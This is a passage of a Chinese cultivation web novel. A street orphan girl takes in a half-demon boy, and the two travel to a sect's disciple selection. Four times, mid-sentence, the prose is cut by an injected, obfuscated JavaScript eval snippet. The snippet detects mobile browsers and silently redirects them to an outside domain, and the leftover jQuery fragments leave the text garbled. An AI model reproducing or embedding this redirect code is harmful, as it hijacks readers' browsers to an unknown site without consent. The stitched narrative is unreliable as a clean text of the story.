“他们把我赶出来了……祖母死后他们就把我赶出来了。”
江凝清:……
江凝清良心深受打击,纠结了半天,最终还是扣扣搜搜把买的另一个馒头递给了他,道:“你如果不嫌弃的话,这个馒头给你了。”
她还在纠结要不要把铜钱还给他,不过这样一直被娇生惯养的小少爷……就算是给他铜钱他也活不了多长时间吧。
要是把碎银给他,那活得时间便更短了。
曲堪尘双手接过馒头,小小地咬了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15848056|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口,而后双手捧着啃了起来。
看来是饿坏了。
“谢谢你……”曲堪尘吃了一半后小声说道,抬眼怯怯地看向江凝清。
他睫毛上沾着晶莹的泪水,在他说话的时候残留的泪水刚好凝成一个圆团,啪叽一下落到白嫩的脸蛋肉上。
江凝清暗自心想,偷了他的钱,他还得谢谢我呢。
这种小孩子分明是活不下去的,如果不是碰上她如此善良温和仁爱慈悲的超绝大好人,恐怕就要喝西北风去了。
说不定过几日就能看见他的尸身裸露于市,那时谁也辨不出白骨生前为美人了。
江凝清自嘲地笑了笑,她现在都是泥菩萨过江自身难保,还想着别人呢。
她又瞥了一眼小口小口啃馒头的曲堪尘,心想,反正现在手里的钱都是他的,可以护着他到花完这些钱为止。
她花的那一部分钱就当是保护费和学费了。
毕竟人不能这么坏,江凝清心想,总不能她偷了他的钱,反而让他饿死在街头吧。
虽然他原本就会死的,但是她偷他的钱算是沾染因果,万一他死之后到了阴曹地府,鬼使神差觉得是她害死的他怎么办?
这样一定会让她倒大霉的,让她一个冬天都吃不了一顿半饱的饭。
于是江凝清下定决心,拍了拍他的肩膀道:“那你先跟着我混吧,别拖我后腿就行,要不然把你扔到南街巷子里喂狗。”
曲堪尘听了这句话之后差点被噎住,他暂时还不能理解为什么刚刚还对他和颜悦色的江凝清突然要对他说把他扔了喂狗。
但是他还是点了点头,道:“嗯嗯。”
江凝清把他拎了起来,抱臂道:“快点吃,我数到十,如果你这个馒头还没有吃完的话我就把你的饭给抢走了。”
曲堪尘愣了一下,茫然眨了眨眼睛,便听到江凝清数到了三。
他立刻张大嘴巴把馒头塞进嘴里,把脸塞满成了个仓鼠。
曲堪尘还是第一次这么吃饭,以前在曲家他都是被教导细嚼慢咽的。
虽然曲家对他并不是很好,家里的兄弟姐妹们也经常欺负辱骂他,还会打他,让他罚跪,把他推到冰冷的河水里面……但是有祖母管着,他不至于缺衣少食,明面上是过得去的。
他很少很少有这种饿肚子的体验。
饿地久了,只是一个馒头,就足够让他狼吞虎咽了。
江凝清看他这样,满意的点了点头,笑盈盈道:“在外面闯荡呢,就是要这样快点吃饭,要不然就会被别人抢去。今天是我,我还能给你数到十,明天要是遇到别人或者野狗,那可不给你数数就直接抢了,你又打不过人家。”
她转身往前走去,扬起手里的钱袋抖了抖,扬声道:“你的这个钱袋就由我来保管了,快跟上,我带你去找落脚地。”
曲堪尘这才发现自己的东西被她偷了,那个难道就是用他的钱买的。
他抿起嘴唇,后知后觉意识到自己被骗了,于是赌气地在原地站了一小会。
最后在江凝清快要拐弯了他才小跑着跟上去,抿唇跟在她一步远的地方,亦步亦趋。
15.总角宴(2)
江凝清把曲堪尘带到城东的一个破庙处,找了些干草垫了垫,道:“你以后就睡到这里,大部分情况下这里还挺安全的,没什么外人来,也足够遮风挡雨。”
曲堪尘点了点头,坐在干草堆上,而后把自己身上的那个毛绒绒的大氅扒了下来,披到了江凝清身上。
江凝清诧异地看向他。
曲堪尘低头道:“我里面还有一层棉服,你穿的太少了,这件衣服给你了。”
江凝清也不拒绝,笑道:“这件衣服太好了,明天拿去当铺把它当掉换一个便宜的。”
曲堪尘点点头,他已经明白过来自己如果不跟着江凝清或许连命都保不住,道:“我叫曲堪尘。”
他拿起一根木棍在地上写下这几个字,而后抬头问道:“你叫什么名字?”
江凝清蹲下身子,托腮看了看那三个字,理直气壮道:“写的什么天书玩意,我不认字啊。”
曲堪尘脸迅速泛红,窘迫地仿佛那个不认字的是他一样,他用手把那三个字迅速抹去,白皙的手上染了一层泥土。
“我叫江凝清,我娘给我取的名字,不知道是哪三个字。”江凝清坐在神台上,小腿随意地晃荡着,不知什么时候捡了个干草在嘴上叼着。
“那你爹娘呢……啊呜,疼……”
江凝清弹了他一个脑瓜崩,优哉游哉道:“当然是都死了,动动你那漂亮的小脑袋瓜吧。你以后不能这样说话,要不然就不是弹脑瓜崩这么简单了。”
她一伸腿从神台上跳下来,跳到曲堪尘面前,冲他张大手臂扮鬼脸,假装自己穷凶极恶:“小孩你说话跟狗屎一样,我要把你的脑袋拧下来当球踢!”
演完后她揉了揉自己刚刚扮鬼脸变得酸痛的脸蛋,道:“别人就会这样对你的,到时候我可不救你。”
曲堪尘抿唇,小声道:“对不起,我不是故意的。”
江凝清坐到干草堆上,把曲堪尘挤到一边,怂了怂肩膀:“无所谓啦反正都死了那么多年了,我三岁的时候他们就死了,那几年死得人挺多的,那个战争叫什么来着……”
江凝清想一会,道:“不管了,就是那个人妖大战,持续了整整五年,不知道死了多少人,我爹娘就是因为打仗死的。不过还好我爹娘死的晚,他们刚死就不打仗了,我还能活下来。”
曲堪尘紧紧攥着自己的衣角,手指纠结地搓弄了好久,低着头一言不发。
他不能告诉江凝清自己是人妖的混血,他爹是一只狐妖,娘生下他后与爹私奔,被两方士兵乱箭射死于城门下,爹殉情而死。
祖母是母亲的母亲,只因他一直被养在曲家,所以称呼为祖母。
祖母心善,加之怜惜女儿,才把他养在膝下。但府中人无论是兄弟姐妹还是下人多多少少会因为他半妖出身而欺辱他。
虽然他们的欺辱但是在一些微不足道的小事上,但细如吞针,几乎要让他穿喉而死。
他本来是觉得委屈的,直到他听到一嘴侍女聊天时说自己爹娘亲属都死于那场大战,他才知道为什么那些人会不喜欢他。
他不能告诉江凝清自己的出身,要不然她也会不喜欢他。
很少很少有人那么纯粹的关心他了,对他露出那样真诚的笑,他不想让她讨厌他。
所以他要骗她……
他小声道:“我爹娘也是那场大战死的,我很讨厌妖族,很讨厌。”
他不擅长说谎,说完这句话之后心虚地要命,脖子以上都变得通红,眼睛乎眨乎眨的不敢看向江凝清,手指不自觉地向内扣着。
他在心里疯狂安慰自己,自己这句话算不上是什么说谎,爹娘确实是因为那场大战死的,他也很讨厌自己的妖族血脉。
他只是有所隐瞒而已。
江凝清安慰道:“没事的,等我长大就把妖族都杀个落花流水片甲不留。”
而曲堪尘听到这句话后只想把自己没有露出来的耳朵和尾巴藏好,他不敢吭声,只是点了点头。
“好了,天色晚了,睡吧。”
曲堪尘窘迫道:“七岁……七岁男女不同席,我已经八岁了,我们不能一起睡觉。”
他往边上挪了挪,试图离江凝清远一些,连手脚都缩在了一边。
江凝清哈哈大笑:“狗屁规矩,爱怎么睡怎么睡。”
“不……不行。”曲堪尘想要逃走,却被江凝清拎着后脖颈拽了回去。
江凝清道:“你要是现在想走,那便不用再回来了,你的钱袋子呢也只好由我保管了,到时候被狗啃得骨头都剩不下可别找我收尸。”
曲堪尘毫无威慑力地用眼睛瞪她,他现在还分不清楚江凝清说的是真是假,于是他又走了回来,道:“那我们也不能睡在同一个干草堆上。”
他蹲下身子吭吭哧哧又在离江凝清三步远的地方自己堆了一个干草堆,他并不熟练于此,江凝清也没有任何帮他的意思,只是抱臂看着他。
他堆得自然没有江凝清堆得干草堆舒服,躺上去刺得难受,他倒是没有抱怨,只是背对着江凝清躺下。
他心里默默委屈,江凝清总是欺负他。
自顾自地委屈了好长时间,又悄悄转过身子,发现江凝清已经睡下,睡得格外死,心里更加委屈了。
曲堪尘又转过身去,不去看她。他哭了一整天,精力耗费太大,情绪又起起伏伏,所以没一会就睡下。
……
江凝清本来是打算过完这个冬天就把他丢掉的,但是他已经跟了自己两个多月了,都快要清明了,她却突然有些舍不得他了。
她想,或许是因为两个人挤在破庙里面会更暖和一些,而且他确实是不拖后腿。
曲堪尘学东西很快,虽然他会带着大户人家出身的娇气,比如非不和她睡一个干草堆,只有偶尔打雷下雨把他吓怕了他才会和她缩到一起睡。但是他也足够能忍,他能饿肚子饿上三天都不说什么怨言,被人打了也强忍着不哭。
说到被打,也算是江凝清不忍心把他丢出去的原因之一。
那天她买吃的回来被几个街溜子堵墙角了,真不怪她打不过他们,主要是对方足足有八个人,她又
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864557|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是仙人,双拳根本打不过十六手啊。
于是她顺理成章地被抓住,即将被那八个人轮着打。
她不是第一次遇到这种事情,还算是有些经验。先说好话求饶一番,然后再时机溜出去,她还是有那个自信溜出去的。
结果她还没有开始发挥,便看到曲堪尘从墙角溜出来,像炮仗一样撞向一个大汉的身体,而后就把她甩出去,让她快点跑。
江凝清片刻犹豫都没有转身就撒丫子逃跑,留曲堪尘一个人在那里吸引火力。
片刻后她提着一个木桶又跑了回来,二话不说就洒向那几个小混混。
一个恶臭味在空气中散发开来,是……屎!
那几个小混混头上被洒得分外均匀,不偏不倚每个人的头发都染遍了,排泄物顺着头发流到后背上,把后背上的布料也浸透。每个人外焦里嫩臭味熏天,江凝清简直是雨露均沾的典范。
“恭喜恭喜,屎到淋头!”
江凝清一把拉起被压在地上挨揍的曲堪尘,片刻不停地跑出了巷子,又七绕八绕了好几圈才停了下来喘了口气。
还好曲堪尘毫无还手之力一直被压在地上挨揍,那几个混混全方位覆盖住了他,没让屎淋到他身上。
江凝清拍了拍他的肩膀,道:“堪尘你真的是太忠义了!”
曲堪尘红着眼睛一言不发,当晚洗了七八次澡,还好当时已经算是初春,没让他染上风寒。
不过这一块地方算是待不下去了,泼了屎算是完全撕破了脸皮,以后要是再遇上那一群小混混估计会被打死的。
江凝清第二天就带着曲堪尘离开了这个破庙,赶往另一个临近的镇子。
离这里并不算很远,三天三夜步行可到。
他们没什么东西可以带的,也就几天的干粮和仅有的两三件换洗衣物。
江凝清边走边在了一片路上新生的叶子,是很嫩的绿色,仍然眼前一亮,她含在嘴里吹了个难听至极的小曲,神采飞扬道:“其实我们更像是江湖儿女,是游侠,堪尘你说对不对?”
曲堪尘跟在江凝清半步远的地方,他抱怨道:“你吹的很难听。”
江凝清无所谓地笑了笑:“我觉得很好听啊,所有音调在我耳朵里是一样的。”
曲堪尘也扯下一个嫩叶,可怜的柳树本来就没长多少叶子,现在几乎被薅光了。
他把柳叶放在嘴边,仙法似地变出一段清幽的小调来。
江凝清就算是再不通音律也能听出曲堪尘吹得好听。
她道:“挺好听了堪尘,怪不得姓曲。”
“和姓氏没有什么关系,只是随便吹的。”
“那更厉害了,太有天赋了,完全是曲子仙人转世啊,直接可以靠这个卖艺赚钱了啊。”
根本就没有什么所谓的曲子仙人吧……完全是江凝清自己编的。
曲堪尘红了半张脸,眼神飘忽,道:“你要是喜欢我每天都给你吹。”
江凝清认真想了想,而后嘴角上扬:“那好吧,那你就一直跟着我吧,我罩着你啊。”
16.总角宴(3)
春去秋来,梁上的燕子生了一窝小燕子,在屋顶上叽叽喳喳热闹了好长时间,但很快又羽翼丰满往南飞去,雪落雪融,又过了一年清明。
江凝清是清明生的,过完这个清明她便是十岁了,曲堪尘比她小几个月,所以仍然是九岁。
江凝清吵着让曲堪尘叫她姐姐,曲堪尘偏不叫,她又不能把他打一顿逼着他叫,于是只好作罢。
她去找些零碎杂活帮忙做工,可是很少有人用她这么大的女孩子,于是也是饥一顿饱一顿的。
不过半月前有人要盖新房子,那人看她要的钱少干事也靠谱,便允许她加入进来。
她今日拿了做工的银钱,打算带着曲堪尘去路边摊吃一顿热乎的面,奢侈一把。
她正路过街角,便听到几人交谈道:“听说了吗?平明宗招新弟子了,平明宗百年一开,不论出身贫贱,招天下奇才者,还有三天的讲课,什么‘气沉丹田’‘人在气中,气在人中’的,我二姑姑的三舅姥爷的孙女都去报名了。”
江凝清停下脚步,好奇地凑上耳朵,听那人继续道:“真是可惜了,平明宗只招十四岁以下的,不然我也去报名了。”
江凝清探出头来,道:“这位姨姨,去平明宗怎么走?”
聊天的那几个突然看见一个冒出来的头被吓了一跳:“你这死孩子怎么偷听别人讲话呢?”
那人本想骂她一顿,但是低头却见女孩头上扎了两个乖巧的小啾啾,眼睛扑闪扑闪地看向她,让人不忍心骂她了。
“平明宗就在东面,直着往东走八百里。”
江凝清连忙道谢,跑回去便和曲堪尘说了这个消息。
他们现在住得是一间破旧的危房,刚进来的时候蛛网密布灰尘漫天,原主人早就不知道往哪去了,或许就在某一个冬天埋葬在雪里了。
曲堪尘刚从山上挖野菜回来,身上还带着一层泥土。
虽然他也整天风餐露宿风吹日晒,但他肤色仍然很白,雪团子一样,沾上泥土显得格外明显。
他还没有来得及清洗,就被江凝清抓住了手,手上的泥全沾到江凝清手上了。
曲堪尘别扭地把手抽了回来,抓着江凝清一起洗了手,一边洗一边道:“有什么急事吗?”
江凝清眨了眨眼睛:“想不想成为仙人?平明宗在招新弟子欸,十四岁以下的,我们刚好合适。而且离这里也不远,走上十天半个月就能到,我们去看看吧。”
“当仙人有什么好的?”曲堪尘想到了自己的半妖身份,若是真的去那里,仙人们万一看出他的原型怎么办……那江凝清就不要他了。
“当了仙人就不用饿肚子了,冬天也不用受冻了,”江凝清的手握住了曲堪尘的手,道,“说不定我手上这些冻疮也会好,你也不用干这种脏兮兮的活了。”
“而且……”江凝清趴在曲堪尘背后笑盈盈道,“而且说不定真能御剑飞行,行侠仗义,一想想那个画面就帅死了。”
江凝清去拿了个木棍,像模像样地调整了呼吸,喃喃自语道:“气沉丹田”,而后挥剑……啊不,是挥木棍。
……
“咯吱——”
岌岌可危的房梁彻底断裂开,在它即将倒塌的那一刹那,江凝清将愣在原地的曲堪尘拽了出去。
江凝清喘着粗气,那双桃花眼瞪地圆圆的,心虚道:“我不会……真的是天才吧,我天……”
她勾了勾愣在原地一言不发的曲堪尘的手指,道:“现在我们也没有房子住了,刚好去那边看看,反正去平明宗的人肯定多,就算是我们在它山脚下摆个碗乞讨也能赚不少嘛……生气了?”
她歪了歪头去看曲堪尘的脸,而后道:“别生气嘛,我错了,我以后再也不在房间里面乱挥木棍了。”
曲堪尘撇过头去不看她:“我没有生气,我在想如果你被选中了,我没有被选中那怎么办。”
江凝清毫不犹豫道:“我养你啊,我都是仙人了,那我养你就好了啊。”
曲堪尘憋气沉默了一会,而后道:“那你说到做到。”
“当然了,我什么时候骗过……啊,怎么走了,又生气了?”
……
曲堪尘收拾完他们的行李,两人便向平明宗出发了。
两人并不完全把求仙当回事,只当是出去散心,顺便满足一下对仙人的好奇心。
他们确实是在外面闯荡惯了,无所谓去哪里,随心而动。平明宗离此处也并不远,来回也不到一个月。
还好江凝清的工钱发下来了,她买了不少干粮,足够吃上一个月的了,两个人不至于真摆个碗去乞讨。
路上遇到的人也挺多的,基本都是平明宗寻仙问道去的。
江凝清在路上听他们聊天才知道平明宗是一个什么样子的门派。
平明宗已经有七百多年的历史了,据说是扶摇仙人创立的,平明二字取自“平明拂剑朝天去,薄暮垂鞭醉酒归”一诗。
平明宗百年一开,确实是无论出身高低贵贱都可拜入门下,不过平明宗门下现在也就只有十几人,只因为平明宗只收天赋异禀之人。
百年难得一见的天赋异禀之人。
江凝清有些气馁了,她虽然有些小自恋,但是不足以让她觉得自己这种什么都不知道的小鼻嘎是所谓的百年难得一见的天才。
她对仙术的了解也就是从别人嘴里听来的,唯一的实绩是把房梁弄塌了,而且很有可能是那个房梁本来就该塌了。
“那为什么这么多人去啊,明明被选上的概率那么小。而且平明宗不是只收十四岁以下的吗,怎么好多大人?”江凝清叹气道。
“是为了听平明宗的讲座,”一个身着白衣剑眉星目的男子温声道,“平明宗百年一开,且都是天纵奇才,听得一席话胜读百年书。”
“原来是这样,免费去听几天课也不错嘛,”江凝清对曲堪尘道,“说不定听几天课我真能学到什么呢,能学到一点点仙术便是很好的,就算不被收到门下,也能有个傍身之技。”
那个白衣男子又道:“并非免费,实际需要一百铜钱,不过这和免费也无甚区别。”
江凝清:……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869903|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>说实话这一百铜钱她还真的拿不出来。
她汗颜许久,最终打算乞讨一下。
啊……果然最后都要乞讨啊,明明以为赚了工钱就不用的。
不过她今天的发型还是看起来非常乖巧的两个小丸子头,乞讨成功的概率大概会高一些。
自从她上一次打断那几人说话也没有被骂后,她就非常热衷于扎这个发型,每天都缠着曲堪尘给她扎两个小啾啾。
人都有自己不擅长的地方,江凝清除了不擅长吹曲子外,还不擅长扎头发。相比来说,曲堪尘在这种方面要比江凝清天才多了。
自从曲堪尘第一次给江凝清扎头发之后他就迷上了这个事情,每天早上起来就是给她扎各种各样的辫子,好几天都不重样。
江凝清的头发好像属于他了一样,他对此有着绝对的话语权,霸道独裁说一不二,沉迷于给她换发型。
所以这几日江凝清非要扎小丸子头让他并不高兴,他很想给她换个别的发型,一直扎这个都腻了。
不过江凝清很满意就是了。
她刚想表演一段弱小无辜小女孩丢钱的戏码,便被身边的那个白衣男子摸上了脑袋。
“这位小友,是身上没有带钱吗?”
江凝清大为震撼,拽了拽曲堪尘的衣角,小声道:“天呐,这是仙术吗?”
白衣男子冲他们两个微微一笑:“在下看两位小友身边并没有大人陪伴,大概是离家出走结伴来的吧,在下可以帮两位小友送到家人身边。”
江凝清眼睛快速地扫了一眼眼前的这个白衣男子,他笑容和煦,穿得也像模像样,虽是白衣,但衣袖腰带等地都有着金色暗纹,而且衣服针缝几不可察,一看便价值不菲。
看上去不想是要拐卖他们两个的。
江凝清将语气弱了下去,夹着嗓子道:“我们两个爹爹和娘亲都去世了,只能相依为命,实在是走投无路才想要来平明宗,想要学仙法……学了仙法就不会饿肚子了。”
曲堪尘看她如此,立马挤出几滴眼泪,默默跟在江凝清后面,一副可怜兮兮的样子。
果然那个白衣男子脸上露出悲切的神色,他正色道:“在下玄同山慕容歌,慕容家少主,相逢是缘,两位小友此行可跟在我身边,互相照拂一二。”
互相照拂……实际上只是慕容歌单方面照顾他们两个罢了,两个小孩能照拂他什么呢?
慕容歌继续道:“两位小友路费和报名费都由在下来出吧,若两位未被收入平明宗门下,也可随我回玄同山,我看两位都颇有修炼上的天赋。”
江凝清实在是没想到会是这般顺利,她连忙道谢,内心觉得这个叫慕容歌的前辈实在是太过于善良了。
只是听了她这么一句话就轻而易举相信他们了,又出钱又出力地帮他们。这种好人实在是世间少见。
慕容歌冲他们两个笑了笑,道:“我妹妹和两位小友差不多大,见两位小友如此命运多舛难免会情绪激动,还请两位小友不要见怪。过两日舍妹便会赶来,你们年纪相仿,大概会有些话题。”
17.总角宴(4)
他们几个到平明宗山脚下慕容歌的妹妹才赶过来,她穿着一身浅紫色的襦裙,云髻高耸,珠钗戴的满头都是。
“我是慕容沬,你们便是兄长说的那两个小乞丐吧。”慕容沬打量了他们一眼,被慕容歌制止道:“不可如此轻慢。”
慕容沬撇了撇嘴,随意将头上的一个发簪摘了下来插到江凝清头发上,又摘了一个配对的插到曲堪尘头发上,道:“这样才看起来顺眼一些。”
江凝清摸了摸自己头上的玉簪,花纹精致巧夺天工,心想不愧是大小姐,一出手就这么大方。
“谢谢大小姐啦。”江凝清好奇道,“若是你们是姐弟,是不是就叫慕容姐慕容弟了?”
慕容沬没有生气,反倒将这个可能认真想了一下,道:“叫慕容姐也不是不可以,取捷这个字吧,慕容捷,这个名字挺好的。”
慕容沬说完后问道:“你们现在修仙到哪一层了?我一直卡在练气大圆满,久久不得精进,兄长在信里说你们两个天资好,我来讨教一二。”
江凝清道:“练气是什么?”
“歪,你不要拿我寻开心好吗?怎么会连练气都不知道啊。修仙者第一个阶段就是练气了。”慕容沬气鼓鼓道。
江凝清道:“原来是这样,不过我大概还没有迈入那个门槛,算不上练气。”
“欸?不对啊,你身上有一点点修仙者的气息,哥,你过来看一下江江她是什么修为的。”
慕容歌凝气于指尖,轻轻点了下江凝清的额头眉间,而后温声道:“江小友已经是练气初期了。”
江凝清道:“我天,我真的是天才啊。”
慕容歌道:“江小友资质世间少见,或许真能成为平明宗弟子。曲小友天资也绝佳,只是在下学艺不精,曲小友身上的气息经脉在下看不太懂。”
曲堪尘颇有些紧张地抓住了江凝清的衣袖,手指内扣道:“我娘说生我的时候天有异象……或许和这个有关。”
慕容歌微微笑道:“那大概如此吧,你可知是什么异象?”
江凝清颇有些诧异地看向曲堪尘,见曲堪尘道:“我……我记不太清了。”
江凝清道:“也是,你娘亲去世的早,那大概是你很小的给你说的,记不太清也是正常。”
曲堪尘窘迫地点了点头,又靠近了江凝清半步,才缓缓松了口气。
平明宗虽然在山上,但是选拔弟子和开设讲坛的地方都在山脚下的一片空地处,交了一百铜钱便可进入。
大概是因为山上装不了这么多人……
到了平明宗山脚下江凝清才知道什么是人山人海摩肩接踵,她这辈子都没有见过这么多人。如果这里的人一人给她一枚铜钱,那她这辈子都衣食无忧了。
山脚下正喧闹地厉害,还有不少商贩专门来此地做生意,吆喝声不断。
此时,一道洪亮的钟声响起,几乎震耳欲聋,江凝清感觉自己的头发丝都被这声钟声给荡平了,脑袋也霎时间一片空白杂念全无,仿佛脑袋壳里面装的各种东西都被荡成了水。
钟声一共响了三下,一声比一声重,江凝清恢复意识后晃了晃脑袋,确认脑袋里面并没有全变成水才松了一口气。
“诸位久等了,在下平明宗弟子禾姝,是今日的讲学者。”
江凝清抬头看去,便见一女子踏扇而来,她身着浅云色深衣,上绣兰花图纹。容貌清浅,面如皓月,虽然样貌并非倾国倾城之姿,但周身气质足以称之为仙人。
江凝清张大嘴巴,戳了戳旁边的曲堪尘,小声感叹道:“是仙女!我天,真的是仙人啊。”
曲堪尘吐槽道:“慕容前辈也是修道之人,也没见你这么感叹。”
江凝清道:“慕容前辈看上去不像仙人,像凡人,而这个禾姐姐看起来就完全不食人间烟火了,感觉和我们不是一个世界的一样。”
禾姝落地后将脚下的扇子收到右手上,扇子一打开便露出两个龙飞凤舞的狂草大字——“平明”。
江凝清看向那两个字,虽然她并不识字,但只觉得那转折收笔处别有洞天玄之又玄,恍若狂风不加修饰,天然随性,破浪千帆。
她心神自然而然的随之而动,突然脑中某一处开了灵光一般,豁然开朗,浑身猛感一阵清凉。
突然她额头一痛,周围那股清凉不再,她狼狈地坐倒在地上,双手捂着泛着微红的额头。
“看来小友与钱师妹有缘了。”清冷的声音传到江凝清耳朵里,她才缓过神来,双手捂头抬眼看去。
便见那身浅云深衣不知何时出现在她半步远的地方,绣着兰花样式的衣袂随风而动,好香……并不是浅淡的兰花香草的气息,而是一股浓烈的……撒上辣椒粉的烧烤的味道。
江凝清茫然痴迷地看向眼前露出浅浅笑容超然物外的禾姝,她已经很长时间没有吃肉了,跟在慕容歌这段时间也只是吃他随身携带的辟谷丹,辟谷丹还没有曲堪尘做的煮野菜好吃。
江凝清脑子还没有回过神来,于是下意识抱住了禾姝的大腿,呜咽道:“好香啊姐姐……我要吃肉……”
曲堪尘看到这一幕心脏骤停,眼前的人毕竟是仙人,和他们不是一个阶层的,他很担心江凝清惹怒仙人。
他连忙把江凝清的手扒拉出来,拼命让她松开了禾姝的腿,但是江凝清力气真的很大,抓得又紧,他根本拽不开。
他脸都要憋红了,小心翼翼看向禾姝的反应,却见禾姝并不恼怒,只是笑出了声,温声对江凝清道:“等你入门当了我的小师妹,自然给你做饭吃。”
江凝清眨了眨眼睛终于回过神来,连忙松开手乖乖道歉。
她看向周围,发现她身边已经空开了一大片地,地面上也格外干净……
根本不是因为感悟到道法而浑身清凉,而是她刚刚在无知觉的条件下催动了风场,是风把她吹冷了……
而头痛的那一下只是因为禾姝拿那把扇子敲了敲她的头,这个禾仙子虽然看起来清瘦,但是打人的力气却很大,现在她的头还泛着红。
江凝清回想起自己刚刚做的一切,瞬间尴尬地挂不住面,人生中少数地想找个地缝自己钻进去。
“这位小友是观扇上两字入了心流吗?果然与我们平明宗有缘。而且年纪轻轻便是练气五阶的水平,说不定小友真能拜入平明宗。”
练气五阶?!
江凝清眨了眨眼睛,转头看向慕容歌,他不是说她是练气初阶吗?
而慕容歌也诧异地张大嘴巴,他显然是愣了好长时间,最后无声地感叹了四个字:“天纵奇才……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881749|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
自然是天纵奇才,慕容歌知道自己是庸才,家里各种天灵地宝给他堆砌,他现在也不过是筑基初阶。同样的条件资源,妹妹比他小上百岁,却已经是练气大圆满了。
正因为终极一生无法得到,才会对江凝清的观二字而得道更为震惊。
但并没有嫉妒,只是真心地为她感到高兴。
曲堪尘也震惊地看向江凝清,眼中闪着欣喜与骄傲的光,仿佛升入练气五阶的是他一样。
他捏了捏江凝清的手,手指一点点摩挲着她手指上的厚茧,摸得江凝清有些痒,等禾姝回到讲坛上时才把手抽了回来。
曲堪尘说一不二地把江凝清的手又握了回去,在江凝清耳边低声道:“等你入了门派,我就摸不到你的手了。”
“怎么可能?”江凝清反驳道。
曲堪尘把下巴尖尖放到江凝清的肩膀上,江凝清肩膀宽度也就是普通十岁小女孩的水平,他要让自己脑袋不掉下来就直接靠她靠的很近。
他嘟囔着:“等你成了仙,整日要么修行要么行侠仗义,怎么会有空陪我,等你回头想到我了,便发现已经是几十年后。你到一个破草屋里面找我,我到时候便“尘满面,鬓如霜”了,我不敢见你,就把自己锁在门里面,于是你强行破门而入,却看不到那个漂亮的堪尘,你看见我便问‘老人家你有没有见过一个容貌昳丽的小公子?’……”
他说着说着把自己说委屈了,小珍珠将掉不掉,若不是这里有太多人的话,他眼泪都要把江凝清的衣服给弄湿了。
江凝清笑道:“我有这么坏吗?”
曲堪尘提高了声音:“你就是这么坏。”
“我怎么可能认不出你啊,你就算是化成灰我也能认出来,一眼认出来你是哪一撮!”
曲堪尘抿唇,小声嘟囔道:“骗子。”
说完之后他从江凝清肩膀上下来,眨了眨眼睛把眼泪憋了回去,又道:“不过还是成仙好,说不定你还能找到我下辈子呢。”
“哪里有下辈子啊,若是有下辈子的话,那大家早就找到扶摇仙人的转世了,到时候让她重振修真界不是分分钟的事情?”
江凝清说完这句话后才意识到自己应该安慰安慰曲堪尘的,她又补充一句:“说不定你也能成仙的,慕容前辈说你资质不差,你若是也修仙,那我们就能长长久久的在一起了。”
曲堪尘确实是把这句话听了进去,听讲课这三日他比谁都认真,甚至休息的时候他都默念什么“道法自然”“万物负阴而抱阳,冲气以为和”之类的话语。
这三日讲课都是禾姝在讲,本来是一天换一个人讲课的,但禾姝说师弟游历去了,师妹又卧病在床,所以只能由她讲课。
江凝清是一个连字都认不全的文盲,她甚至连丈育这两个字都不认识。她听得直发困,好几次倒在曲堪尘身上,而后顺势搂着他腰趴在他大腿上睡觉。
等到第三天,禾姝讲完课后温声道:“明日便是平明宗选拔弟子的时间了,请不符合条件的人员自行离开,今夜闭山。”
江凝清看向慕容兄妹,她本以为慕容沬会和慕容歌一起离开的,不曾想慕容沬对她扬了扬头,走到她面前道:“等明日进入选拔的秘境,我和你们组队吧。”
江凝清笑道:“好啊。”
18.总角宴(完)
夜里所有无关人士离场之后,平明宗山门关闭,一道淡蓝色的结界将整个平明宗笼罩起来,随即便消失在外界众人的目光里,无影无踪,仿佛根本未存在过一样。
而在结界里面的人看到的便是天地倒悬一瞬,不过一呼吸间山外的景色便完全变了样子,眼前瞬间出现一片密林,乱石野草奇树怪藤,甚至还能隐隐约约听到猛兽的咆哮声,整片树林都好像密密麻麻写着三个字:“吃小孩”。
江凝清:……
“只接受十四岁以下的小孩不会是因为小孩肉质嫩吧……吓人,实在是吓人。”江凝清吐槽道。
